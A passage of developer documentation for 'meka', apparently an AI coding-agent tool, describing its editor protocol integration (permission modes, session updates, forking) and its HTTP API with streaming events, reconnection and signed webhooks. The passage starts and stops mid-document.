session/close is optional in the protocol and several editors never send one, which is what this answers. Each open session holds an Agent, a tool registry the MCP manager keeps a clone of, and an open file lock, none of them reachable from anywhere else meanwhile. Neither the window nor the scan interval is configurable; both match [serve]’s defaults for the same mechanism.

Prompt turn

A session/prompt carries a prompt array of ContentBlocks. meka accepts:

  • text: the baseline.
  • resource_link: flattened into a <resource_link name="…" uri="…">description</resource_link> tag inside the prompt text so the model sees the reference; meka does not fetch the resource server-side.
  • resource (embedded @-mention contents): a text resource is inlined as a <resource uri="…">…contents…</resource> tag; a binary (blob) resource becomes a self-closing <resource uri="…" encoding="base64"/> marker (the payload is not inlined).
  • image: accepted only when the profile has vision on. The payload is normalized through meka’s image pipeline (size cap, format conversion) and forwarded to the model as native vision input (Claude image, OpenAI chat image_url, Codex input_image).

audio blocks (and image when vision = false) produce InvalidParams.

Images travel in the other direction too: when a tool looks at one (read_file on an image file, render_image, fetch_url on an image URL), the picture is forwarded on that tool call as an image content block rather than a placeholder, so the client renders what the model was shown.

While the turn runs, meka streams session/update notifications:

  • agent_message_chunk for each piece of assistant text.
  • agent_thought_chunk for thinking blocks (Claude OAuth / extended-thinking models).
  • tool_call when a tool starts, with kind, status: "in_progress", an absolute locations array (relative paths resolved against the session cwd, with the start line for read_file), the raw input, and a human-readable title. The title is the tool’s primary argument, so editors show what’s running rather than the bare tool name: the command for execute_command, Read <path> / Edit <path> / Write <path> for file tools, Fetch <url>, Web search: <query>, etc.
  • tool_call_update when a tool finishes, with the final status (completed / failed), a content array, and raw_output (the structured tool result). execute_command output is wrapped in a fenced console code block so editors render it monospaced; edit_file and write_file populate diff content blocks so clients can render the apply-diff UI. (Large outputs offloaded to the scratchpad show the scratchpad reference rather than the full payload.)
  • plan whenever the agent’s todo tool updates the task list, so clients with a plan panel (e.g. Zed) render the live to-do list. meka’s cancelled todo status maps to completed.
  • session_info_update once per session, carrying the title (the first user message preview) so a freshly created or loaded tab gets a label without a session/list call.
  • usage_update after each turn, carrying used (tokens currently in context: all input tiers plus output) and size (the model’s context window), so clients with a context gauge (e.g. Zed) show how full the window is. Emitted only once both values are known.
  • The session/prompt response additionally carries usage: session-cumulative totalTokens / inputTokens / outputTokens / cachedReadTokens / cachedWriteTokens. This is the running total for the session, not the gauge – usage_update answers “how full is the window”, usage answers “what has this session cost”. thoughtTokens is omitted because meka doesn’t meter reasoning separately from output.

The response carries a final stopReason:

stopReasonMeaning
end_turnThe agent finished cleanly.
max_tokensThe provider stopped because the model hit its maximum output tokens. The assistant message may be truncated.
cancelledsession/cancel interrupted the turn, including the case where the cancel caused an exception in an underlying operation. meka probes the per-session cancellation token after run_turn; any error returned while the token has fired surfaces as cancelled rather than a generic JSON-RPC error.
refusalThe model declined to comply (Claude stop_reason: "refusal" and the OpenAI equivalent). The assistant message contains the refusal text.

Permission modes

meka’s Permission levels map 1:1 to ACP SessionMode ids:

PermissionMode idDisplay nameDescription
NonenoneNoneNo tools available.
ReadreadReadFile reads and searches only. No writes, no shell.
AskaskAskEvery write or shell command requires approval.
WorkspaceworkspaceWorkspaceWrites confined to the workspace roots. No approval prompts.
UnrestrictedunrestrictedUnrestrictedWrites and shell commands reach anywhere on the machine.

The full mode picker is advertised on every session-creation response (NewSessionResponse.modes, LoadSessionResponse.modes, ResumeSessionResponse.modes) but only the modes in [permissions].enabled from your config.toml are listed; picking a disabled mode would just error.

The same picker is also advertised as a configOptions entry, so a client that reads either field gets it; see below.

When the active mode is ask, write-gated tools trigger a session/request_permission round-trip. Clients render four options:

  • Allow: run this call only.
  • Always allow any <tool>: run this call and skip the prompt for that tool for the rest of the session.
  • Deny: refuse this call only.
  • Always deny any <tool>: refuse this call and every subsequent call to that tool.

The sticky options name the tool because that is exactly their scope: the decision is keyed on the tool name and takes no account of arguments. The prompt’s title is <tool> <primary argument>, so for execute_command you are reading one specific command line while the sticky option covers every shell command the agent runs afterwards. If you want per-command control, use Allow and keep answering.

Sticky decisions live in meka’s process memory; they reset on session close.

A prompt left unanswered for 30 minutes is denied, and the turn carries on. This is a backstop against a client that is connected but will never reply (an editor whose UI thread has wedged, or a harness that speaks ACP without implementing prompts), not a deadline on you: session/cancel already resolves a prompt the moment you stop the turn, and without the backstop a client that does neither holds the session’s runtime mutex indefinitely, blocking session/close and session/set_mode behind it. Denying rather than allowing on expiry is deliberate: an unanswered prompt is not consent.

Session config options

Every session-creation response also carries configOptions, a list of select pickers a client can render and change with session/set_config_option. meka advertises two, in this order:

configIdCategoryValuesMeaning
permissionmodeThe ids in [permissions].enabledThe same picker as modes, so it sits beside the one below
providermodelThe profile names in your config.tomlThe provider profile this session runs on

permission is deliberately advertised twice, once here and once in the legacy modes field. A client that only understands modes keeps the picker it has; one that reads configOptions gets permission and provider adjacent rather than in two unrelated menus. Setting it through either route does the same thing, and neither picker is left stale: session/set_mode pushes a current_mode_update and a config_option_update, while session/set_config_option pushes a current_mode_update and returns the whole refreshed list in its response.

A session whose recorded profile has since left config.toml cannot be loaded at all: session/load fails while building the runtime, so there is no entry for session/set_config_option to change. Restore the profile in config.toml, or move the session with meka -r <id> --provider <name> from a shell, and load it again.

Changing provider rewrites the session’s row, so it holds for every later turn and for a resume from any surface, not just for this connection. This is the same change /provider makes in the REPL and PATCH /v1/sessions/{id} makes over HTTP. Switching mid-conversation is allowed and is your call: a thinking block is tagged with the provider that produced it and is not replayed to a different one, so from the next turn the model no longer sees the reasoning recorded under the old provider.

If a turn is in flight, the row moves immediately and the change is held until that turn finishes; the live agent takes it at the top of the next turn rather than mid-loop. Reasoning effort is deliberately not offered: which tiers a model accepts is a fact about the provider’s system, and a fixed dropdown would be meka asserting it. It stays on the profile.

Slash commands

Two kinds of slash command are advertised through session/update: available_commands_update (after session/new / session/load / session/resume, and refreshed at the top of every session/prompt so a skill installed mid-session shows up without a reconnect):

  • Built-in local commands/status (model, effort, context usage, tokens, mode) and /mcp (configured MCP servers and their connection status). They render text back as an agent_message_chunk and end the turn immediately, with no model call.
  • Skills (see Skills) – each installed skill is a top-level command carrying a free-form input hint ("additional context (optional)").

When the user picks one from the palette, the client typically inserts /<name> and lets the user type extra context. meka parses the prompt as follows:

  • A built-in local command (/status, /mcp): handled agent-side, output streamed back, turn ends with no model call. Checked first, so a skill can’t shadow a built-in (a skill named status/mcp is dropped from the palette).
  • Plain text (no leading slash): passes through to the model unchanged.
  • /<skill-name> matching an installed skill: loads the skill body via the same path as the REPL’s /skill command and prepends any extra context the user typed.
  • Slash with a syntactically valid but unknown skill name (/nonexistent): JSON-RPC error.
  • Slash with content that isn’t a valid skill identifier (/etc/hosts, //comment): passes through to the model unchanged, so pasted paths and code comments don’t get intercepted.

Sub-agents

agent_spawn and skill-based delegation produce a sub-agent that runs through PermissionForwardingFrontend. The sub-agent’s own output isn’t streamed to the client (its final report flows back through the parent’s tool_call_update), but its permission prompts and fs delegates forward through the parent’s connection, so the editor’s apply-diff UI sees a sub-agent’s writes the same as the main agent’s.

ACP has no sub-agent primitive – no nested sessions, no nested tool calls – so a sub-agent is one tool call, and its progress is that call’s content. While it runs, each tool call it starts is appended to a rolling list (the last 20) and pushed as a tool_call_update on the parent’s agent_spawn call, so a long delegated task shows what it is currently doing instead of an opaque spinner. The whole list is resent on each update because clients replace a tool call’s content rather than appending to it. A nested sub-agent’s list is not forwarded further up: it already appears as a agent_spawn line in its parent’s list, and two writers on one tool call’s content would overwrite each other.

Multi-root workspaces

An editor whose workspace holds several folders (Zed’s Add Folder to Project) sends the first as cwd and the rest as additionalDirectories. Clients only send them when the agent advertises sessionCapabilities.additionalDirectories, so before meka advertised it every folder but the first was silently dropped and the agent would report files in them as missing.

What the extra roots do and don’t change:

  • Search sweeps all of them. find_files and search_contents walk every root when you don’t pass an explicit path. The 60-second walk budget is shared across the whole call, not granted per root, so a four-folder workspace doesn’t get a four-minute ceiling. Passing path searches exactly that tree, as before.
  • A truncated search_contents says which roots it skipped. Roots are walked in order starting from cwd, so a busy cwd can fill the 100-match cap before later roots are reached. When that happens the output names how many roots went unsearched, rather than leaving their absence to read as “nothing there”. Pass path to search one directly, or scratchpad to lift the cap. find_files is unaffected: its cap bounds only what it prints, so it still counts matches across every root.
  • Overlapping roots are collapsed. A root nested inside another (or a repeat of cwd) is dropped, so its tree isn’t walked twice and its files aren’t reported twice. Symlinked duplicates aren’t detected.
  • The model is told they exist. Each root is named in the per-turn environment context, alongside the working directory.
  • Relative paths still resolve against cwd only. This is what the spec requires: cwd “remains the base for relative paths”. Use an absolute path to reach a file in another root.
  • The shell still runs in cwd. execute_command is unaffected.
  • A stale root is skipped, not fatal. A root that no longer exists is passed over so the other roots can still answer; search_contents reports “does not exist” only when no root existed. Root paths are escaped before they reach the glob engine, so a folder named 2024* or notes[1] matches literally instead of widening the search.

Every entry must be an absolute path; a relative one is rejected with InvalidParams.

The list is persisted and reported back on session/list as SessionInfo.additionalDirectories, which is how a client rebuilds the workspace shape when you pick a session out of its history. session/load and session/resume carry the complete resulting list, so they replace what was stored rather than merging: reopening a session from a window that no longer has the second folder correctly narrows it, and an empty list clears the roots.

Forking

session/fork branches a copy off a persisted session: the new session starts with the source’s full conversation and continues from there, while the source stays open and unchanged. It’s the protocol’s way to explore a direction, or run something like a summary, without writing into the conversation the user is looking at.

The request is a session-creation request, not a row copy: it carries its own cwd and additionalDirectories, and meka applies those to the fork rather than inheriting the source’s. mcpServers is ignored, as on session/new. The response returns the new sessionId and the current SessionMode state, and the fork is registered as active immediately, so it can be prompted without a further session/load or session/resume.

There is no replay: unlike session/load, forking emits no session/update stream for the copied history, since a client that just forked already has the transcript rendered.

Sub-agent child transcripts are not copied, and a fork of an ordinary session records no link back to its source. session/fork answers InvalidParams for a sub-agent’s own id: the copy would be a sibling under the same parent, so there is no session to hand back. See Forking a Session for the full semantics.

This method is marked unstable in the protocol: it is not part of the spec yet and may change or be removed. Zed does not currently call it.

Known limitations

  • Tool-call diff metadata isn’t persisted. A session reopened with session/load replays tool_call_updates as plain text rather than diffs. The on-disk content is unaffected.
  • terminal/* is never used: meka owns every process it spawns, so no command runs in the client’s terminal. Output streams into the tool call instead, as an agent-owned terminal where the client advertises _meta.terminal_output and a console block otherwise. See Shell commands stay inside meka.
  • Image and regex read_file: stay local. The fs/read_text_file request carries only text, so there’s no protocol surface to delegate either case.
  • audio prompts: not supported; audio content blocks produce InvalidParams.
  • No client-side model gate for images: when vision is on, meka forwards images to whatever model the profile names; a non-vision model returns a provider error rather than meka rejecting up front. Set vision = false for text-only endpoints.

HTTP API

meka serve exposes meka as an HTTP API server so other programs can drive agent turns programmatically. Where Interactive Mode is for humans at a terminal and ACP is for editor integrations over stdio, the HTTP API is for service-to-service use cases:

  • A Telegram or Discord bridge that connects a chat bot to an agent.
  • A web or mobile UI that streams assistant responses in real time.
  • A script or orchestrator that embeds meka as a sub-agent backend.
  • Any cross-language client that speaks HTTP+JSON.

All three entry points (meka, meka acp, meka serve) drive the same agent core: same tools, same providers, same session persistence. The HTTP API is a transport layer on top.

Starting the server

meka serve

The server reads the [serve] section from your config.toml (see Configuration below). At minimum you need a bind address and at least one bearer token:

[serve]
bind = "127.0.0.1:8080"

[[serve.tokens]]
token = "${MEKA_API_TOKEN}"
scopes = ["sessions:r", "sessions:w"]

On startup the server logs the bind address and begins accepting requests. All endpoints (except health probes and OpenAPI docs) require a valid Authorization: Bearer <token> header.

Two flags are refused rather than ignored: -c and -r. Both name one run’s session, and the server creates one per POST /v1/sessions, each naming its own provider profile. Pass provider on the create request instead. --provider is accepted, since it selects which configured profile a session gets when it names none, which is a property of the server rather than of one session.

TLS: meka serve speaks plain HTTP. For production, front it with a TLS-terminating reverse proxy (nginx, Caddy, Cloudflare Tunnel).

Quick example

Blocking turn (simplest)

# Create a session
curl -s -X POST http://localhost:8080/v1/sessions \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cwd": "/home/user/project"}' | jq .id
# → "550e8400-e29b-41d4-a716-446655440000"

# Submit a turn
curl -s -X POST http://localhost:8080/v1/sessions/550e8400-e29b-41d4-a716-446655440000/turn \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"message": "list the files in src/"}' | jq .final_text
# → "Here are the files in src/: ..."

Streaming turn

curl -N -X POST http://localhost:8080/v1/sessions/$SESSION_ID/turn \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"message": "explain this codebase", "stream": true}'

The response is a text/event-stream (SSE) that emits typed events as the agent works:

retry: 3000

event: turn.started
id: 0
data: {"turn_id":"...","session_id":"...","started_at":"2026-05-26T13:45:12Z"}

event: assistant_text.delta
id: 1
data: {"text":"This project is "}

event: assistant_text.delta
id: 2
data: {"text":"a Rust workspace that..."}

event: tool_call.composing
id: 3
data: {"id":"tu_1","name":"read_file"}

event: tool_call.executing
id: 4
data: {"id":"tu_1","name":"read_file","input":{"path":"src/main.rs"},"display_summary":"src/main.rs"}

event: tool_call.completed
id: 5
data: {"id":"tu_1","is_error":false,"content":[{"type":"text","text":"fn main() { ... }"}]}

event: turn.finished
id: 12
data: {"turn_id":"...","session_id":"...","stop_reason":"end_turn","usage":{"input_tokens":12340,"output_tokens":567,...}}

Core concepts

Sessions

A session is a persistent conversation with its own working directory, permission level, and message history. Sessions are stored in the same SQLite database as REPL and ACP sessions; they’re interchangeable.

POST   /v1/sessions           Create a session
GET    /v1/sessions           List sessions (paginated)
GET    /v1/sessions/{id}      Get session details
PATCH  /v1/sessions/{id}      Update permission, cwd or provider
DELETE /v1/sessions/{id}      Close and clean up
POST   /v1/sessions/{id}/fork Branch a copy off a session

When creating a session, specify the working directory and optionally a permission level, a provider profile, and capabilities:

{
  "cwd": "/home/user/project",
  "permission": "workspace",
  "provider": "work",
  "capabilities": {
    "supports_reasoning_stream": false,
    "supports_permission_prompts": true
  }
}

provider names a profile in the server’s config.toml; GET /v1/providers lists them, and a name that is not configured is a 422. Omitted, it is the server’s own default profile. The session keeps it for the rest of its life and every session response echoes it back as provider, so a client can confirm which account a session bills.

To move a live session onto another profile, PATCH /v1/sessions/{id} with {"provider": "other"}. That rewrites the session’s row, so it holds for a resume from any surface rather than for this request. Switching mid-conversation is allowed and is your call: a thinking block is tagged with the provider that produced it and is not replayed to a different one, so from the next turn the model no longer sees the reasoning recorded under the old provider. Like the other PATCH fields, it is a 409 when a turn is already in flight; cancel first. (One admitted between the check and the agent swap makes the swap wait for that turn rather than fail, so the request can take as long as the turn does. The row has already moved by then, and the agent follows when the turn ends.)

A PATCH naming a provider moves the session to that profile, and the profile is the whole story: the model, the endpoint and every model-tied setting come from it, so there is nothing else on the row to reconcile.

If you run more than one meka on the same store, send the PATCH to whichever process has the session. A body naming only a provider is the one PATCH that works on a session this server has not loaded, and it takes the session lock to do it, so a session another process is running answers 409 session-locked rather than moving a row that process would go on ignoring. Only the host holding a session may change what it runs on.

A body naming only provider is also the rescue for a session whose profile has left config.toml: it moves the row without building an agent, so it works on a session that cannot currently run. Adding permission or cwd to the same body loses that, because those need a loaded session and loading one is exactly what fails; send the provider on its own first.

The cwd field is validated on create and patch:

  • Must be an absolute path (no relative paths).
  • Must exist on the server’s filesystem.
  • Must be a directory (not a file, device, or socket).
  • Must not contain null bytes (which cause kernel/userspace path mismatch).

If cwd is omitted, it defaults to the server process’s current working directory.

Sessions persist server-side until explicitly deleted or evicted by the idle timeout GC (see Session lifecycle).

Capabilities

CapabilityDefaultMeaning
supports_reasoning_streamfalseInclude thinking.delta events in the SSE stream
supports_permission_promptstrueThe client can answer a mid-turn permission_required event

Enabling supports_reasoning_stream costs a streaming turn its retry on a transient provider failure: the deltas have already reached you and a second attempt would repeat them, and reasoning is the first thing a turn produces. Blocking turns on the same session are unaffected, since they carry whole blocks rather than deltas.

Set supports_permission_prompts: false if you stream but have no interface to show an approval prompt on, which is the normal case for a service-to-service client streaming for liveness. Gated tools are then denied immediately with an explanatory notice, the same as blocking mode. Leaving it true means every gated call parks for 60 seconds and then denies anyway, which is hard to tell apart from a hang. Better still, create the session with permission: "workspace" so nothing is gated.

Forking a session

POST /v1/sessions/{id}/fork copies a session’s conversation into a new session and returns it with 201 and the usual session body. The copy starts with the source’s full history and is immediately usable; the source is left untouched, and does not have to be in memory, so a GC-evicted session forks as well as a live one.

The body is optional and inherits everything by default. The only field is cwd, matching ACP’s session/fork, which likewise carries a workspace but no permission or capability fields:

{ "cwd": "/home/user/other-project" }

Permission, capabilities and the provider profile are inherited and remain changeable afterwards via PATCH /v1/sessions/{id}. Sub-agent child transcripts are not copied, and a fork of an ordinary session records no link back to its source.

A sub-agent’s own id is refused with 422: the copy would keep that worker’s parent and spawn terms, so it is a sibling under the same parent rather than a session this endpoint could hand back. See Forking a Session for the full semantics.

Sub-agent sessions cannot be driven through this API

GET /v1/sessions?include_children=true lists the sessions an agent_spawn created. Those ids are readable through every endpoint on this page – /messages, /context, /export – and drivable through none of them: POST /v1/sessions/{id}/turn answers 422 with /errors/session-not-drivable, as do /compact, /responses/{request_id}, /fork, /schedule, and PATCH /v1/sessions/{id}. A worker runs under the tools, permission ceiling and provider profile its spawn call set, which live in its spawn record and which only its parent can reconstruct, so the conversation is continued with the agent_followup tool from the parent rather than over HTTP.

Two exceptions, both of which change a transcript without running anything on it. Teardown stays open: DELETE /v1/sessions/{id} discards a worker and DELETE /v1/sessions/{id}/tasks/{task_id} stops one of its background tasks, and the parent’s own agent_delete does the same thing. So does POST /v1/sessions/{id}/rewind, which truncates the event log the same caller can already read in full through /export, and which meka session rewind has always allowed on a worker. The line is whether the model runs: /compact is refused because compaction is a turn.

Importing an archive

POST /v1/sessions/import recreates a session tree from a meka session export archive under fresh ids, on the same terms as the CLI’s meka session import. An archive naming no provider profile takes the server’s default, the same one POST /v1/sessions applies to a body with no provider; a long-lived host always has one, since it refuses to start without it.

One limit is the server’s alone: an archive holding more than 1000 sessions is refused with a 422 whose detail names the count and the cap, and points at meka session import. The whole tree is written in one transaction on the process’s single database connection, so a larger one would hold every other in-flight request behind it. A one-shot meka session import restoring its own backup has nothing to contend with and so carries no cap; it is the way to restore a tree this large.

Everything else about the archive is honoured as the CLI honours it; see Exporting a Session.

Detecting an in-flight turn

Session responses carry turn_in_flight, a boolean saying whether a turn is running right now. It exists so a client whose SSE stream dropped can tell “my turn is still running” from “my turn died” without submitting a speculative turn and reading the 409. A dropped stream does not cancel the turn; the work continues server-side and resubmitting would duplicate a reply the user is about to receive. Poll GET /v1/sessions/{id} and wait for it to go false rather than retrying blind.

The same holds for a blocking turn whose client gives up: a request timeout on your side does not stop the turn. It runs to completion, persists its messages, and fires its webhook; you just never see the response body. Read the reply from GET /v1/sessions/{id}/messages. This is why a client timeout shorter than your longest turn is safe, and why retrying on one duplicates work rather than recovering it.

Turns

A turn is one round-trip: you send a user message, the agent processes it (potentially calling tools in a loop), and returns a result. Turns are ephemeral: they’re not stored as their own resource, but the messages they produce are persisted in the session’s conversation history.

POST   /v1/sessions/{id}/turn     Submit a turn
POST   /v1/sessions/{id}/cancel   Cancel an in-flight turn

One turn at a time per session. A second POST /turn while another is running returns 409 Conflict. Across sessions, turns run fully concurrently.

The turn request body accepts four fields:

FieldTypeDefaultDescription
messagestring(required)The user message. May be empty when images is non-empty
imagesarray[]Image attachments; see Image attachments
streamboolfalsefalse → single JSON response; true → SSE stream
options.skillstring | nullnullWhen set, activates the named skill for this turn (equivalent to /skill <name> in the REPL)

Image attachments

Each entry in images is {"media_type": "...", "data": "<base64>"}. Images are inlined rather than referenced by path because the API is a network surface: a client on another host shares no filesystem with the agent, so it can’t name a file for the agent to read.

curl -s -X POST http://localhost:8080/v1/sessions/$SESSION_ID/turn \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"message\": \"what does this diagram show?\",
       \"images\": [{\"media_type\": \"image/png\", \"data\": \"$(base64 -w0 diagram.png)\"}]}"
  • Requires vision. Attaching an image to a session whose profile has vision = false returns 422. The check is per session, from the profile that session recorded, so a session created with provider or moved by a PATCH follows that profile rather than the server default. vision on GET /v1/info reports the default profile’s flag, which answers for a session created without naming one.
  • media_type is a hint. If it doesn’t name a supported format, the payload’s magic bytes are used instead, so application/octet-stream still works for a real image.
  • Formats. PNG, JPEG, GIF, WebP, and BMP pass through; TIFF, ICO, HDR, EXR, TGA, PNM, QOI, DDS, and Farbfeld are converted to PNG. Anything else is a 422.
  • Size. Each image is capped at 3.75 MB decoded (~5 MB of base64). Note this interacts with max_body_bytes: the 10 MiB default comfortably fits one image, but a multi-image turn may need it raised.
  • Errors name the offender. A bad attachment returns 422 with a detail like `images[1]` is invalid: unsupported image format.

Detecting a rewritten history

GET /messages returns the materialised view: what the model can currently see. Three things rewrite it rather than appending to it – compaction, POST /rewind, and a mid-turn repair of a malformed request – and after any of them your copy is no longer a prefix of the server’s.

Two signals cover this:

  • revision on the response increments on every rewrite. If it changed since your last poll, re-fetch rather than diff. This is the one to key on, because it covers all three causes.
  • compaction on a message identifies a summary and says how many messages it replaced and which compaction it was. Only compaction leaves a message behind to carry it; a rewind removes messages with nothing in their place, which is why revision exists.

total alone is not enough: a shrinking total is indistinguishable from the server losing your conversation.

Note that neither GET /context nor GET /v1/sessions/{id}/tools will load an evicted session. Reading is not permitted to take the session’s cross-process lock, which a write would hold for idle_timeout. /context answers from the database with the live counters omitted; /tools returns 409, since a catalogue needs a loaded session.

Messages

Read the conversation history for a session:

GET /v1/sessions/{id}/messages?offset=0&limit=50

Returns the full message list with role, content blocks, timestamps, and turn correlation IDs.

Blocking response

With stream: false (the default), the server holds the connection until the turn completes, then returns a single JSON response:

{
  "turn_id": "t_01J...",
  "session_id": "s_01J...",
  "stop_reason": "end_turn",
  "final_text": "Here are the files in src/: ...",
  "messages": [
    {
      "role": "assistant",
      "content": [{"type": "text", "text": "..."}]
    }
  ],
  "tool_calls": [
    {
      "id": "tu_1",
      "name": "read_file",
      "input": {"path": "src/main.rs"},
      "display_summary": "src/main.rs",
      "is_error": false,
      "content": [{"type": "text", "text": "..."}]
    }
  ],
  "usage": {
    "input_tokens": 12340,
    "output_tokens": 567,
    "cache_creation_input_tokens": 0,
    "cache_read_input_tokens": 8000
  },
  "notices": []
}

Key fields:

  • final_text: concatenated assistant text. This is what most bots display to the user.
  • messages: structured message array for clients that want richer rendering.
  • tool_calls: every tool the agent called during the turn, with inputs and outputs.
  • stop_reason: end_turn, max_tokens, or refusal.
  • notices: provider advisories and auto-deny warnings.
  • refusal_text: present only when stop_reason is "refusal".

Streaming response

With stream: true, the response is a text/event-stream. Every event has a monotonic id, a named event type, and a JSON data payload.

Event types

Lifecycle

EventPayloadWhen
turn.startedturn_id, session_id, started_atTurn begins
turn.finishedstop_reason, usage, optional refusal_textTurn completed successfully
turn.failederror (Problem Detail shape)Turn failed mid-stream
turn.cancelledreason ("client" or "server_shutdown")Turn was cancelled

turn.finished, turn.failed, and turn.cancelled are terminal; the connection closes immediately after.

Content deltas

EventPayloadWhen
assistant_text.deltatextEach chunk of assistant text
thinking.deltatextA chunk of extended thinking content (only when supports_reasoning_stream: true)

Reasoning streams in chunks, one event per chunk, the way assistant_text.delta does; concatenate them to reassemble the block. A turn the provider answered without streaming sends the block as a single delta, so a client never has to tell the two apart. The blocking response (stream: false) still reports each block whole, in thinking.

Tool execution

EventPayloadWhen
tool_call.composingid, nameThe model started writing the call’s arguments
tool_call.executingid, name, input, display_summaryTool call starts
tool_call.completedid, is_error, contentTool call finishes

The arguments are written between tool_call.composing and tool_call.executing on the same id, which makes that interval the only thing on the stream that separates the agent writing a message from the agent doing anything else. Assistant text is usually narration around a call rather than the reply itself, and by tool_call.executing the arguments are already finished. A client drawing a typing indicator for a tool like an MCP send_message raises it on the first and drops it on the second. The payload is the id and the name because nothing else has streamed yet: which conversation a message is for is not known until tool_call.executing.

Three limits. The event exists only when meka streams from its provider, so a server started with --no-stream receives each call whole and emits tool_call.executing with nothing before it. The pairing is not guaranteed, because a turn that fails or is cancelled mid-call emits tool_call.composing with nothing after it, so close per-id state on the terminal event as well. And the interval is only wide on backends that stream a call as it is written (anthropic-messages, claude-subscription, openai-responses, chatgpt-subscription); openai-chat-completions resolves each call’s name and arguments together when the stream ends, so there the two events arrive back to back.

Notices and pauses

EventPayloadWhen
noticelevel, textProvider advisories or warnings
permission_requiredrequest_id, tool_name, expires_in_secondsPermission approval needed (Ask mode)

Context

EventPayloadWhen
context.compactedsource, replaced_count, generationThe conversation was summarised and the window replaced

context.compacted is the one event on this stream that is not additive. Everything else appends, so a client that misses one still holds a prefix of the truth; a compaction removes messages the client has already rendered. source is checkpoint, checkpoint_text, or summarizer (they differ in fidelity, not just mechanism), replaced_count is how many messages the boundary removed from the view (the whole pre-compaction window, including the tail compaction re-appends verbatim), and generation counts compactions from 1.

The same information appears on GET /messages: the summary message carries a compaction object with replaced_count and generation, and every other message omits the field. Without it a polling client sees total shrink with no explanation, which is indistinguishable from the server losing the conversation.

Heartbeats

A : keep-alive comment is sent every 20 seconds. SSE clients ignore these automatically. The stream also sends retry: 3000 as its first line, hinting clients to reconnect after 3 seconds on disconnect.

SSE lag

The server buffers up to 256 events per SSE stream. If a consumer reads too slowly and falls behind, the server closes that consumer’s stream, and what it sends first depends on whether anyone else was still reading:

  • Nobody else was reading. The turn is cancelled to stop burning provider tokens, and the stream ends with a terminal turn.failed carrying error type https://meka.so/errors/sse-lag. Retry by submitting a new turn.
  • Another consumer was keeping up. The turn keeps running for them, so nothing has failed. The lagging stream ends with a notice explaining the drop and closes. Re-attach with Last-Event-ID rather than retrying: the turn is still in flight, so a new turn would be refused with 409 turn-in-flight, and re-attaching recovers the dropped events instead of redoing the work.

Turn events are broadcast, so a re-attached client or a second consumer counts as a separate reader. Use GET /messages to inspect what the agent completed either way.

Reconnection

GET /v1/sessions/{id}/stream rejoins the current turn. Send the last id you received as a Last-Event-ID header (browser EventSource does this automatically) or as a ?last_event_id= query parameter, and the server replays what you missed before following the live stream.

curl -N -H "Authorization: Bearer $TOKEN" \
     -H "Last-Event-ID: 42" \
     "http://localhost:8080/v1/sessions/$SESSION/stream"

The stream opens with a turn.started carrying "resumed": true and the turn_id you actually rejoined, which is the only way to tell “my stream resumed” from “a newer turn started while I was away”. That opening event is synthesised by the reconnect rather than replayed, so unlike the original it carries no started_at and no id: – a resumed stream must not move your stored resume position backwards before the replay has run. Every event after it is the real thing, ids included. The stream always terminates: if the turn has already finished, the buffered tail and its terminal event are delivered and the connection closes.

Three limits, all deliberate:

  • The replay buffer is bounded by [serve] stream_replay_events (default 256). If your Last-Event-ID is older than the oldest retained event, you get a notice saying the replay has a hole rather than a transcript that silently skips. Read GET /messages to fill it.
  • Only the most recent turn is retained. Reconnecting after a newer turn started gives you that turn.
  • A disconnected turn is not cancelled immediately. It keeps running for [serve] stream_reattach_grace (default 30s) waiting for you to come back; after that the agent loop stops, since nobody is listening. Set "0s" to restore the older behaviour where a dropped stream cancels the turn at once, which spends fewer provider tokens on abandoned work.

Webhooks

meka serve can POST to configured endpoints when something happens that no client is necessarily waiting on: a scheduled job firing overnight, a background task finishing long after the turn that started it.

[[serve.webhooks]]
url = "https://bridge.example/meka-hook"
secret = "${MEKA_WEBHOOK_SECRET}"     # or secret_file = "/etc/meka/hook.secret"
events = ["turn.finished", "turn.failed", "task.finished", "schedule.fired"]
timeout = "10s"                        # per attempt, default 10s
max_retries = 3                        # after the first attempt, default 3

events is required and every name must be recognised: an endpoint whose only subscription is a typo would be silently never called, so an unknown event is a startup error rather than a warning.

turn.finished and turn.failed cover turns submitted through POST /turn. A scheduled job’s turn fires schedule.fired (which carries its own status) instead, so no turn produces two deliveries. A turn the server runs purely to report a background outcome fires neither: the news is the task’s, and task.finished has already carried it.

task.finished is not a turn event. It fires when a background task reaches a terminal state, whether or not any turn reports it: a cancelled task fires it with no turn at all, and its outcome then rides whichever turn the session takes next. Expect it alongside a turn.finished when a client’s own POST /turn is what carries the outcome, and expect it on its own for a task interrupted by a host that died, which no turn ever ran.

A client that wants to know about everything the agent did should subscribe to all four.

Payloads

Every delivery carries delivery_id, event, timestamp, and event-specific identifiers:

{
  "delivery_id": "6c1f...",
  "event": "schedule.fired",
  "timestamp": "2026-02-01T03:00:00Z",
  "job_id": "9f2c...",
  "session_id": "550e8400-e29b-41d4-a716-446655440000",
  "status": "completed"
}

Payloads never carry message content. A webhook URL is a string in a config file: it can be mistyped, it can outlive whatever owned it, and anything that learns it can reach it. So a delivery tells you what happened to which session, and you fetch the conversation with your own bearer token over the API you already authenticate against. A compromised endpoint learns that a session was active, not what was said in it.

Verifying a delivery

When secret is set, each request carries X-Meka-Signature: sha256=<hex>, an HMAC-SHA256 over <timestamp>.<body> keyed with the secret. The timestamp is inside the signed material, so a captured delivery cannot be replayed forever: reject anything whose X-Meka-Timestamp is too old and the window closes.

Each attempt carries its own timestamp and signature. A retry can land minutes after the first attempt, so re-sending the original stamp would have it rejected by that very window. Deduplicate on X-Meka-Delivery, which stays constant across a delivery’s attempts.

import hmac, hashlib

def verify(secret: str, timestamp: str, body: bytes, signature: str) -> bool:
    expected = "sha256=" + hmac.new(
        secret.encode(), timestamp.encode() + b"." + body, hashlib.sha256
    ).hexdigest()
    return hmac.compare_digest(expected, signature)

Deliveries also carry X-Meka-Event, X-Meka-Delivery (unique per delivery, for deduplicating retries), and X-Meka-Timestamp.

X-Meka-Timestamp and the body’s timestamp field differ on a retry, deliberately. The header is when this attempt was sent, re-stamped each time, because that is what your replay window is checking; a retry carrying the original time would be rejected as stale by the very check the header exists for. The body’s field is when the event happened and stays fixed across attempts, so ordering and deduplication see one event rather than several.

Omitting secret is allowed for loopback receivers and logs a startup warning; no signature header is sent, rather than one computed over an empty key.

Delivery semantics

